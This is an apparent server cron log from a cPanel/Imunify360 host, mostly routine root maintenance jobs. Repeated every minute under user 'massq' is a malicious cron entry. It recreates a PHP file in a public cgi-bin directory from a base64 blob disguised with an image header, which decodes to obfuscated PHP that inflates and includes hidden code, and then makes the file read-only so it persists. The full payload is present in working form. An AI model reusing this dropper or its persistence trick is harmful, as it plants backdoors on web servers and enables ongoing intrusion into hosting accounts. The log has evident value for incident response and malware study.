Sep 12 05:05:01 server CROND[20880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:05:01 server CROND[20877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:05:01 server CROND[20881]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:06:01 server CROND[21730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:06:01 server CROND[21732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:06:01 server CROND[21733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:07:01 server CROND[22162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:07:01 server CROND[22164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:07:01 server CROND[22163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:08:01 server CROND[22620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:08:01 server CROND[22621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:08:01 server CROND[22622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:09:01 server CROND[23155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:09:01 server CROND[23156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:09:01 server CROND[23158]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 05:09:01 server CROND[23157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:10:01 server CROND[23535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:10:01 server CROND[23536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:10:01 server CROND[23540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:10:01 server CROND[23542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:10:01 server CROND[23544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:10:01 server CROND[23543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:10:01 server CROND[23545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:10:01 server CROND[23546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:11:01 server CROND[24359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:11:01 server CROND[24360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:11:01 server CROND[24361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:12:01 server CROND[24742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:12:01 server CROND[24741]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:12:01 server CROND[24743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:12:01 server CROND[24744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:13:01 server CROND[25263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:13:01 server CROND[25265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:13:01 server CROND[25264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:14:01 server CROND[25642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:14:01 server CROND[25643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:14:01 server CROND[25644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:15:01 server CROND[26031]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:15:01 server CROND[26033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:15:01 server CROND[26034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:15:01 server CROND[26035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:15:01 server CROND[26037]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:15:01 server CROND[26036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:15:01 server CROND[26041]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 05:15:01 server CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:16:01 server CROND[26911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:16:01 server CROND[26912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:16:01 server CROND[26913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:17:01 server CROND[27283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:17:01 server CROND[27284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:17:01 server CROND[27285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:18:01 server CROND[27655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
